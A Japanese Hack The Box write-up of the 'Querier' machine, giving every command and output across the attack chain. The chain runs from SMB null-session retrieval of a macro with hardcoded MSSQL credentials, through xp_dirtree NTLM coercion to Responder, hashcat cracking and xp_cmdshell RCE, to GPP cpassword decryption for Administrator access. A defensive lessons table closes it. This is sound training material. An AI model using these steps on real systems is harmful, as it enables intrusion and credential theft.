Hack The BoxのWriteup(Querier)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Querier — 全実行コマンド・実行結果レポート
Nmap スキャン
135/139/445/1433/5985
→
SMB “Reports”共有
Currency Volume Report.xlsm
→
olevbaマクロ解析
reporting:PcwTWTHRwryjc$c6
→
xp_dirtree強制認証
Responder + hashcat
→
mssql-svc:corporate568
sysadmin!
→
xp_cmdshell RCE
user.txt ✓
→
GPP Groups.xml
cpassword漏洩
→
gpp-decrypt
Administrator復元
→
root.txt ✓

Nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 135,139,445,1433,5985,47001 10.129.75.52
RESULT
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
5985/tcp  open  wsman         Microsoft HTTPAPI httpd 2.0
47001/tcp open  winrm         Microsoft HTTPAPI httpd 2.0
🚨
重要発見: ポート1433で Microsoft SQL Server 2017 が稼働。 80番ポートは閉じており、Webアプリ経由の攻撃面は無い。SMB(445)とMSSQL(1433)の 組み合わせから「Excelマクロ経由の資格情報漏洩 → MSSQL侵入」という典型的な 攻撃チェーンが疑われる。WinRM(5985)も開いており最終的な横移動手段として利用可能。
PHASE 2

SMB “Reports” 共有 → Excelマクロから MSSQL 資格情報抽出

SMB共有列挙 (null session)

BASH
smbclient -L //10.129.75.52/ -N
RESULT
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Reports         Disk

Reports共有の内容確認・取得

BASH
smbclient //10.129.75.52/Reports -N -c "prompt OFF; recurse ON; ls"
RESULT
  .                                   D        0  Tue Jan 29 08:23:48 2019
  ..                                  D        0  Tue Jan 29 08:23:48 2019
  Currency Volume Report.xlsm         A    12229  Mon Jan 28 07:21:34 2019
BASH
smbclient //10.129.75.52/Reports -N -c 'prompt OFF; get "Currency Volume Report.xlsm"'
✅
認証なし(-N)で12,229バイトのExcelマクロファイルを取得できた。

olevba でVBAマクロを抽出

BASH
olevba "Currency Volume Report.xlsm"
RESULT
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;
Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close
End If

End Sub
🚨
平文MSSQL資格情報の発見: このワークシートが自動更新のために 接続する際のクレデンシャルがVBAマクロにハードコードされている。 reporting / PcwTWTHRwryjc$c6。
MSSQL 資格情報 (マクロから発見)
reporting : PcwTWTHRwryjc$c6
PHASE 3

impacket-mssqlclient でログイン確認 (sysadmin権限なし)

MSSQLへのログインと権限確認

BASH
impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.75.52 -windows-auth
RESULT
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
SQL (QUERIER\reporting  reporting@volume)> select is_srvrolemember('sysadmin');
---
0
⚠️
ログイン自体は成功するが is_srvrolemember('sysadmin') が 0 (False) を返す。つまり sysadminロールを持たず、 xp_cmdshellを直接有効化できない。別の経路で特権を得る必要がある。
PHASE 4

xp_dirtree + Responder で mssql-svc の NetNTLMv2 を強制キャプチャ

Responder起動 (正しいVPNインターフェース指定が重要)

NOTE
Responder は HTB VPN のインターフェース (tun0) にバインドしなければ
ターゲットからの認証を一切捕捉できない。`ip route get 1` のような
システム全体のデフォルトルートではなく、`ip route get <target_ip>` で
ターゲット宛の実際の経路を確認してインターフェースを特定すること。
BASH
ip route get 10.129.75.52
# 10.129.75.52 via 10.10.14.1 dev tun0 src 10.10.15.200  ← tun0を使う

responder -I tun0 -w -v

xp_dirtree で mssql-svc サービスアカウントを強制認証

BASH
# 別ターミナルから同じMSSQLセッションで実行 (reporting権限のままでよい、特権不要)
impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.75.52 -windows-auth
SQL> exec master..xp_dirtree '\\10.10.15.200\share'
RESULT (Responderログ)
/usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.75.52.txt:
mssql-svc::QUERIER:44e02f1a37ba8e8e:91E60CCE7F5BB21B3B0D0FA9E61CDDC4:0101000000...
✅
NTLMv2ハッシュ捕捉成功! xp_dirtree は特権不要の ストアドプロシージャだが、SQL Server サービスの実行アカウント (QUERIER\mssql-svc) 自身に UNC パスへのアクセスを発生させるため、 Kali を指すパスを渡すだけで対象のNTLM認証を強制的に引き出せる。

hashcat でクラック

BASH
hashcat -m 5600 -a 0 mssql-svc.hash /usr/share/wordlists/rockyou.txt
RESULT
MSSQL-SVC::QUERIER:44e02f1a37ba8e8e:...:corporate568
mssql-svc 資格情報 (クラック成功)
mssql-svc : corporate568
PHASE 5

mssql-svc で再ログイン → xp_cmdshell 有効化 → user.txt

sysadmin権限の確認とxp_cmdshell有効化

BASH
impacket-mssqlclient mssql-svc:'corporate568'@10.129.75.52 -windows-auth
SQL> select is_srvrolemember('sysadmin');
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
RESULT
---
1   ← sysadmin!

output
-----------------
querier\mssql-svc
✅
mssql-svc は SQL Server サービスの実行アカウントであり MSSQL 上は sysadmin ロールを持つ。これで xp_cmdshell が有効化でき、OSコマンド実行が可能になる。

user.txt 取得

BASH
SQL> xp_cmdshell type C:\Users\mssql-svc\Desktop\user.txt
RESULT
output
--------------------------------
e43802defde78773f4c36f90aa8ed546
user.txt — querier\mssql-svc
e43802defde78773f4c36f90aa8ed546
PHASE 6

Group Policy Preferences の cpassword → Administrator → root.txt

Group Policy History の探索

NOTE
このボックスはActive Directoryドメインには参加していないが(Workgroup
"QUERIER")、ローカルGPOのGroup Policy Preferences(GPP)が過去に適用された
形跡が残っている。GPPの"Local Users and Groups"設定は、パスワードを
固定AES鍵で暗号化してXMLファイルに保存するという設計上の欠陥があり、
この鍵は2012年にMicrosoftが公開しているため誰でも復号できる。
BASH
SQL> xp_cmdshell dir /s /b "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}"
RESULT
output
--------------------------------------------------------------------------------
...\Machine\Preferences\Groups\Groups.xml

Groups.xml の内容を読み取り cpassword を発見

BASH
SQL> xp_cmdshell type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
RESULT
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" ...>
<Properties action="U" ... cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
  ... userName="Administrator"></Properties></User></Groups>
🚨
重大発見: ローカル Administrator アカウントの 暗号化パスワード (cpassword) が XML に残存。

gpp-decrypt で復号

BASH
gpp-decrypt "CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
RESULT
MyUnclesAreMarioAndLuigi!!1!
Administrator 資格情報 (GPP経由で復元)
Administrator : MyUnclesAreMarioAndLuigi!!1!

mssql-svc権限では root.txt が読めないことを確認

BASH
SQL> xp_cmdshell type C:\Users\Administrator\Desktop\root.txt
RESULT
output
-----------------
Access is denied.
ℹ️
想定通り、SQL Server サービスアカウント (mssql-svc) の権限では Administrator のデスクトップを読めない。復元した Administrator 資格情報で別経路からアクセスする必要がある。

wmiexec で Administrator として root.txt 取得

BASH
impacket-wmiexec 'Administrator:MyUnclesAreMarioAndLuigi!!1!@10.129.75.52' \
  'type C:\Users\Administrator\Desktop\root.txt'
RESULT
[*] SMBv3.0 dialect used
6d5bf9aadb83adc6d6941086148eedb7
✅
root.txt 取得成功! GPPから復元したAdministratorの 平文パスワードで直接ワンショットコマンド実行 (impacket-wmiexec) が通る (impacket-psexec でも同様に成功することを確認済み)。
root.txt — Administrator@QUERIER
6d5bf9aadb83adc6d6941086148eedb7
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — querier\mssql-svc
e43802defde78773f4c36f90aa8ed546
root.txt — Administrator@QUERIER
6d5bf9aadb83adc6d6941086148eedb7

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB null session + 平文資格情報埋め込み Reports共有のExcelマクロ MSSQLログイン資格情報の漏洩 Medium 認証なしで.xlsmを取得、olevbaでVBAマクロ内のADODB接続文字列を解析
xp_dirtree によるNTLM強制認証 (coercion) MSSQL Server (xp_dirtree) SQL Serverサービスアカウントの認証情報漏洩 High 特権不要のストアドプロシージャでUNCパスアクセスを発生させResponderでNetNTLMv2を捕捉、hashcatでクラック
サービスアカウントのsysadmin過剰権限 mssql-svc リモートコード実行 (OSコマンド) Critical xp_cmdshell有効化によりquerier\mssql-svcコンテキストでOSコマンド実行
GPP cpassword (公開済みAES鍵) Group Policy Preferences Groups.xml ローカルAdministrator平文パスワード漏洩 Critical xp_cmdshellでXML読み取り、gpp-decryptで公開鍵により即時復号

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap -sV -sC135/139/445/1433(MSSQL)/5985(WinRM)
2Excelマクロsmbclient + olevbaMSSQL資格情報 reporting:PcwTWTHRwryjc$c6
3MSSQLログインimpacket-mssqlclientログイン成功だがsysadminなし
4NTLM強制キャプチャxp_dirtree + Responder + hashcatmssql-svc:corporate568 (sysadmin)
5RCExp_cmdshelluser.txt (querier\mssql-svc)
6権限昇格GPP Groups.xml + gpp-decrypt + wmiexecroot.txt (Administrator)

学んだ教訓 & 防御策

問題点防御策
SMB共有でビジネス用Excelファイルに平文DB資格情報を埋め込んだまま放置 接続文字列はアプリケーション側で管理し、Excelマクロにハードコードしない。SMB共有は必要最小限のアクセス権に制限する。
xp_dirtree等の特権不要ストアドプロシージャがサービスアカウントの強制認証に利用可能 SQL Serverサービスアカウントの権限を必要最小限にする。可能であれば外向きSMB通信をファイアウォールで制限し、NTLM中継/強制認証を防ぐ。
SQL Serverサービスアカウントがsysadminロールを保持 サービスアカウントには必要最小限の権限のみ付与し、sysadminロールを安易に与えない。
GPP (Group Policy Preferences) でローカルアカウントのパスワードを配布 GPPによるパスワード配布は2014年のMS14-025で非推奨化されている。既存のGPP関連ファイル(Groups.xml等)を全てのSYSVOL/ローカルGPOキャッシュから削除し、LAPS等の代替手段を使う。
HackTheBox: Querier | 完全攻略レポート